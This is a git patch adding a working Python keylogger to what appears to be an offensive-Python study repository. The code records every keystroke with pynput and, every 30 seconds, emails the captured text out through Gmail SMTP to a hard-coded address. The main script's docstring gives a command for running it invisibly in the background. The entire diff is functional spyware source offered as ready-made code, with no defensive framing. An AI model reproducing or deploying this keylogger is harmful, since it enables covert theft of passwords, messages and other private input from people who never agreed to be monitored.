From 352889e2badb0f37d0396aed8c722d5144c6aee5 Mon Sep 17 00:00:00 2001
From: Manuel Vergara <manuel@vergaracarmona.es>
Date: Tue, 30 Jan 2024 22:49:34 +0100
Subject: [PATCH] Add keylogger

---
 .../15_hacking/09_keylogger/keylogger.py      | 128 ++++++++++++++++++
 .../15_hacking/09_keylogger/main.py           |  32 +++++
 2 files changed, 160 insertions(+)
 create mode 100644 python-ofensivo/15_hacking/09_keylogger/keylogger.py
 create mode 100644 python-ofensivo/15_hacking/09_keylogger/main.py

diff --git a/python-ofensivo/15_hacking/09_keylogger/keylogger.py b/python-ofensivo/15_hacking/09_keylogger/keylogger.py
new file mode 100644
index 0000000..bf963a8
--- /dev/null
+++ b/python-ofensivo/15_hacking/09_keylogger/keylogger.py
@@ -0,0 +1,128 @@
+# !/usr/bin/env python3
+"""
+keyloggerPython
+"""
+
+
+import dotenv
+import os
+import pynput.keyboard
+import threading
+import smtplib
+from email.mime.text import MIMEText
+
+
+class Keylogger:
+    """
+    Keylogger
+    """
+
+    def __init__(self):
+
+        self.log = ""
+        self.request_shutdown = False
+        self.timer = None
+        self.is_first_run = True
+
+    def pressed_key(self, key):
+        """
+        Registra las teclas presionadas
+        """
+
+        try:
+
+            self.log += str(key.char)
+
+        except AttributeError:
+
+            special_keys = {
+                key.space: " ",
+                key.enter: "\n",
+                key.shift: " Shift ",
+                key.shift_r: " Shift ",
+                key.ctrl: " Ctrl ",
+                key.ctrl_r: " Ctrl ",
+                key.alt: " Alt ",
+                key.alt_r: " Alt ",
+                key.tab: " Tab ",
+                key.cmd: " Cmd ",
+                key.backspace: " Backspace ",
+                key.caps_lock: " Caps Lock ",
+                key.down: " Down ",
+                key.up: " Up ",
+                key.left: " Left ",
+                key.right: " Right ",
+                key.esc: " Esc "
+            }
+
+            self.log += special_keys.get(key, f" {str(key)} ")
+
+
+    def send_email(self, subject, body, sender, recipients, password):
+        """
+        Envia un email con el reporte de teclas presionadas
+        """
+
+        msg = MIMEText(body)
+        msg['Subject'] = subject
+        msg['From'] = sender
+        msg['To'] = ', '.join(recipients)
+
+        with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp_server:
+
+            smtp_server.login(sender, password)
+            smtp_server.sendmail(sender, recipients, msg.as_string())
+
+        print(f"[i] Email sent Successfully!\n")
+
+    def report(self):
+        """
+        Reporte de teclas presionadas por mail
+        """
+
+        dotenv.load_dotenv() 
+
+        app_passwd = os.getenv("APP_PASSWD")
+
+        email_body = "[+] El Keylogger se ha iniciado correctamente" if self.is_first_run else self.log
+        self.send_email(
+            "Keylogger Report",
+            email_body,
+            "keyloggerseginf@gmail.com",
+            ["keyloggerseginf@gmail.com"],
+            app_passwd
+        )
+        self.log = ""
+
+        if self.is_first_run:
+
+            self.is_first_run = False
+
+        if not self.request_shutdown:
+
+            self.timer = threading.Timer(30, self.report)
+            self.timer.start()
+
+    def shutdown(self):
+        """
+        Detiene el keylogger
+        """
+
+        self.request_shutdown = True
+
+        if self.timer:
+
+            self.timer.cancel()
+
+    def start(self):
+        """
+        Inicia el keylogger
+        """
+
+        keyboard_listener = pynput.keyboard.Listener(on_press=self.pressed_key)
+
+        with keyboard_listener:
+
+            self.report()
+
+            keyboard_listener.join()
diff --git a/python-ofensivo/15_hacking/09_keylogger/main.py b/python-ofensivo/15_hacking/09_keylogger/main.py
new file mode 100644
index 0000000..7cadda5
--- /dev/null
+++ b/python-ofensivo/15_hacking/09_keylogger/main.py
@@ -0,0 +1,32 @@
+# !/usr/bin/env python3
+"""
+Fichero main del proyecto keylogger
+
+Ejecución invisible: 
+    python3 main.py &> /dev/null & disown
+"""
+
+import signal
+import sys
+from keylogger import Keylogger
+from termcolor import colored
+
+
+def def_handler(sig, frame):
+    """
+    Manejador de señales de salida Ctrl+C
+    """
+
+    print(colored('\n[!] Saliendo...\n', 'red', attrs=['bold']))
+
+    my_keylogger.shutdown()
+    sys.exit(1)
+
+
+signal.signal(signal.SIGINT, def_handler)
+
+if __name__ == '__main__':
+
+    my_keylogger = Keylogger()
+
+    my_keylogger.start()